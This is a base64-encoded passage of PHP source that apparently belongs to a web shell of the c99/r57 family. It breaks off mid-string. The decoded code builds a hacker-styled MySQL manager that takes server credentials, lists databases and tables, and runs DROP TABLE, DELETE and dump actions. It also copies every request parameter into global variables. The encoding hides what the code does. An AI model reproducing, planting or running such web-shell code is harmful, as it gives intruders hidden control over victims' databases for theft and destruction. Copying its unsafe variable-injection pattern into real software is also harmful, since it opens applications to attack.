ICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQogIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KSB7CiAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOwogICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKICAkdHlwZXMgPSBhcnJheSgKIlNFTEVDVCI9PmFycmF5KDMsMSksCiJTSE9XIj0+YXJyYXkoMiwxKSwKIkRFTEVURSI9PmFycmF5KDEpLAoiRFJPUCI9PmFycmF5KDEpCiAgKTsKICAkcmVzdWx0ID0gYXJyYXkoKTsKICAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsKJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwokcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsKaWYgKCR0eXBlc1skb3BdID09IDIpIHsKICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7CmlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKSB7CiAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwp9CiAgfQp9CiAgfQogIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0KfQpmdW5jdGlvbiBkaXNwX2Vycm9yKCRtc2cpIHsgZWNobyAiPGRpdiBjbGFzcz1lcnJtc2c+JG1zZzwvZGl2PlxuIjsgfQpmdW5jdGlvbiBodG1sX3N0eWxlKCkgewokc3R5bGUgPSAnIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IGEgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSBhOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IH0gaW5wdXRbdHlwZT0idGV4dCJdLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdLCBzZWxlY3R7IGJhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjA7IHBhZGRpbmc6MnB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7IH0gaW5wdXRbdHlwZT0ic3VibWl0Il17IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I2ZmZmZmZjsgbWFyZ2luOjAgNHB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7fSBpbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIsIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdOmhvdmVyLCBzZWxlY3Q6aG92ZXJ7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXRvcDoxcHggc29saWQgIzAwZmYwMDt9IC50YWIgeyB3aWR0aDoxMDAlOyB9IHRoeyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgfSAudHViIHsgd2lkdGg6MTAwJTsgfSAgLnR1YiB0aHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwZmYwMDsgcGFkZGluZzozcHg7fSAudHViIHRyOmhvdmVyeyBiYWNrZ3JvdW5kOiMwMDY0MDA7IH0gLnR1YiB0ZHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsgcGFkZGluZy1sZWZ0OjNweDsgfSAjbWFpbmluZm8geyBwYWRkaW5nOjVweDsgbWFyZ2luLXRvcDoxMHB4OyBtYXJnaW4tbGVmdDoycHg7IG1hcmdpbi1yaWdodDoycHg7IGJhY2tncm91bmQ6IzE5MTkxOTsgfSAjbWFpbmluZm8gYXsgY29sb3I6IzAwZmYwMDsgfSB0ZXh0YXJlYSB7IGJhY2tncm91bmQ6IzAwMDAwMDsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gdGV4dGFyZWE6aG92ZXIgeyBib3JkZXI6MXB4IHNvbGlkICMwMGZmMDA7fSA8L3N0eWxlPjxjZW50ZXI+JzsKcmV0dXJuICRzdHlsZTsKfQokYXV0b19zdXJsID0gVFJVRTsKZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrID0+ICR2KSB7CiAgaWYgKCFpc3NldCgkJGspKSB7ICQkayA9ICR2OyB9Cn0KaWYgKCRhdXRvX3N1cmwpIHsKICAkaW5jbHVkZSA9ICImIjsKICBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikgewokdj0gZXhwbG9kZSgiPSIsJHYpOwokbmFtZT0gdXJsZGVjb2RlKCR2WzBdKTsKJHZhbHVlPSBAdXJsZGVjb2RlKCR2WzFdKTsKJG5lZWRsZXMgPSBhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpOwpmb3JlYWNoICgkbmVlZGxlcyBhcyAkbmVlZGxlKSB7CiAgaWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHsKJGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiOwogIH0gfSB9IH0KaWYgKGVtcHR5KCRzdXJsKSkgeyAkc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoIj8iLkAkaW5jbHVkZXN0cik7IH0KaWYgKCFpc3NldCgkeCkpIHsgJHggPSAic3FsIjsgfQogIGlmICgkeCA9PSAic3FsIikgewogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgewppZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHsgJCR2ID0gJF9HRVRbJHZdOyB9CmlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHsgJCR2ID0gJF9QT1NUWyR2XTsgfQogIH0KICBpZiAoJHNvcnRfc2F2ZSkgewppZiAoIWVtcHR5KCRzb3J0KSkgeyBzZXRjb29raWUoInNvcnQiLCRzb3J0KTsgfQppZiAoIWVtcHR5KCRzcWxfc29ydCkpIHsgc2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTsgfQogIH0KICBpZiAoIWlzc2V0KCRzb3J0KSkgeyAkc29ydCA9ICRzb3J0X2RlZmF1bHQ7IH0KICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7CiAgZWNobyBodG1sX3N0eWxlKCk7CmVjaG8gIjxkaXYgaWQ9J21haW5pbmZvJz4iOwogIGlmICgkeCA9PSAic3FsIikgewogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7CiAgaWYgKCFpc3NldCgkc3FsX2xvZ2luKSkgeyAkc3FsX2xvZ2luID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfcGFzc3dkKSkgeyAkc3FsX3Bhc3N3ZCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3NlcnZlcikpIHsgJHNxbF9zZXJ2ZXIgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9wb3J0KSkgeyAkc3FsX3BvcnQgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF90YmwpKSB7ICRzcWxfdGJsID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfeCkpIHsgJHNxbF94ID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfdGJsX3gpKSB7ICRzcWxfdGJsX3ggPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9vcmRlcikpIHsgJHNxbF9vcmRlciA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3gpKSB7ICRzcWxfeCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX2dldGZpbGUpKSB7ICRzcWxfZ2V0ZmlsZSA9ICIiOyB9CiAgaWYgKEAkc3FsX2xvZ2luKSAgeyAkc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyB9CiAgaWYgKEAkc3FsX3Bhc3N3ZCkgeyAkc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7IH0KICBpZiAoQCRzcWxfc2VydmVyKSB7ICRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgfQogIGlmIChAJHNxbF9wb3J0KXsgJHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7IH0KICBpZiAoQCRzcWxfZGIpIHsgJHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgfQogICRzcWxfc3VybCAuPSAiJiI7CiAgZWNobyAiIjsKICBpZiAoQCRzcWxfc2VydmVyKSB7CiRzcWxfc29jayA9IEBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoJHNxbF9zb2NrKTsKQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CmlmIChAJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgewogICRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOwogICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCRzcWxfc29jayk7Cn0KICB9CiAgZWxzZSB7ICRzcWxfc29jayA9IEZBTFNFOyB9CiAgaWYgKCEkc3FsX3NvY2spIHsKaWYgKCFAJHNxbF9zZXJ2ZXIpIHsgZWNobyAiPGJsaW5rPjxiPjxmb250IHN0eWxlPSBjb2xvcjojZmYwMDAwPk5vIENvbm5lY3Rpb24gISAhICE8L2ZvbnQ+PC9iPjwvYmxpbms+IjsgfQplbHNlIHsgZGlzcF9lcnJvcigiRVJST1I6ICIuJGVycik7IH0KICB9CiAgZWxzZSB7CiNTUUwgUXVpY2tsYXVuY2gKJHNxbHF1aWNrbGF1bmNoPSBhcnJheSgpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciBzdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnZhcnMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9cHJvY2Vzc2VzIik7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7CmVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIFNlcnZlcjogIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7CmlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkgewogIGZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7CmVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwogIH0KICB9CiAgfQplY2hvICI8L2Rpdj4iOwplY2hvICI8Y2VudGVyPjx0YWJsZSBjbGFzcz0ndGFiJz48dHI+IjsKICBpZiAoISRzcWxfc29jaykgewogIGVjaG8gICc8dGQ+Cjxmb3JtIG5hbWU9ImZfc3FsIiBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJwYWRkaW5nOjFweDsiPgo8dHI+PHRoIGNvbHNwYW49IjIiPjxiPk15U1FMIE1hbmFnZXI8L2I+PC90aD48L3RyPgo8dHI+PHRkPkhvc3Q8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrIj48L3RkPjwvdHI+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrOyI+PC90ZD48L3RyPgo8dHI+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siPjwvdGQ+PC90cj4KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiAgY2xhc3M9ImlucHV0eiIgdmFsdWU9IjMzMDYiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgc2l6ZT0iNiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHN0eWxlPWNvbG9yOiRjb2xvciB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+JzsKICB9CiAgZWxzZSB7CiAgZWNobyAgJzx0ZCB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMzsiPgo8Y2VudGVyPgo8YSBocmVmPSInLiRzcWxfc3VybC4nIj48YiBzdHlsZT0iY29sb3I6IzAwZmYwMDsiPkhPTUU8L2I+PC9hPgo8aHIgc2l6ZT0iMSIgbm9zaGFkZT4nOwogICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogIGlmICghJHJlc3VsdCkgeyBlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTsgfQogIGVsc2UgewogIGVjaG8gICc8Zm9ybSBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8c2VsZWN0IG5hbWU9InNxbF9kYiIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nOwokYyA9IDA7CiRkYnMgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHsKICAkZGJzIC49ICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOwogIGlmIChAJHNxbF9kYiA9PSAkcm93WzBdKSB7ICRkYnMgLj0gIiBzZWxlY3RlZCI7IH0KICAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj5cbiI7CiAgJGMrKzsKfQplY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPlxuIjsKZWNobyAkZGJzOwogIH0KZWNobyAnPC9zZWxlY3Q+CjxociBzaXplPSIxIiBub3NoYWRlPgo8L2Zvcm0+CjwvY2VudGVyPic7CmlmIChpc3NldCgkc3FsX2RiKSkgewogICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsKICBpZiAoISRyZXN1bHQpIHsgCiRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwokbnVtID0gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CmZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CiRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRyZXN1bHQsICRpICk7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndGFiJz48dGQgc3R5bGU9J2JhY2tncm91bmQ6IzNGM0YzRjtib3JkZXI6MXB4IHNvbGlkICMyMDIwMjA7Ym9yZGVyLXRvcDogMXB4IHNvbGlkICM1MDUwNTA7Ym9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNTA1MDUwOyc+PGI+KyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLiRkYm5hbWUuIlwiPiRkYm5hbWU8L2E+PC9iPjwvdGQ+PC90YWJsZT4iOyB9IH0KICBlbHNlIHsKZWNobyAiXHQ8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT48L3RoPjwvdGFibGU+PGJyPlxuIjsKJGMgPSAwOwp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIGVjaG8gIlx0PGI+KyA8YSBzdHlsZT0nY29sb3I6IzAwZmYwMDsnIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYT48L2I+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj5cbiI7CiAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAkYysrOwp9CmlmICghJGMpIHsgZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlIjsgfQogIH0KfQplY2hvICc8L3RkPic7CmVjaG8gJzx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyI+JzsKJGRpcGxheSA9IFRSVUU7CmlmIChAJHNxbF9kYikgewogIGlmICghaXNfbnVtZXJpYygkYykpIHsgJGMgPSAwOyB9CiAgaWYgKCRjID09IDApIHsgJGMgPSAibm8iOyB9CiAgZWNobyAiXHQ8Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gZGF0YWJhc2U6ICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iIjsKICBpZiAoY291bnQoQCRkYnF1aWNrbGF1bmNoKSA+IDApIHsKZm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkgewogIGVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwp9CiAgfQogIGVjaG8gIjwvYj48L2NlbnRlcj5cbiI7CiAgJHhzID0gYXJyYXkoIiIsImR1bXAiKTsKICBpZiAoJHNxbF94ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX3ggPSAiZHVtcCI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAgZWxzZWlmICgkc3FsX3ggPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsKICAka2V5cyA9ICIiOwogICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsKICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30KICAkdmFsdWVzID0gIiI7CiAgJGkgPSAwOwogIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgJHNxbF94ID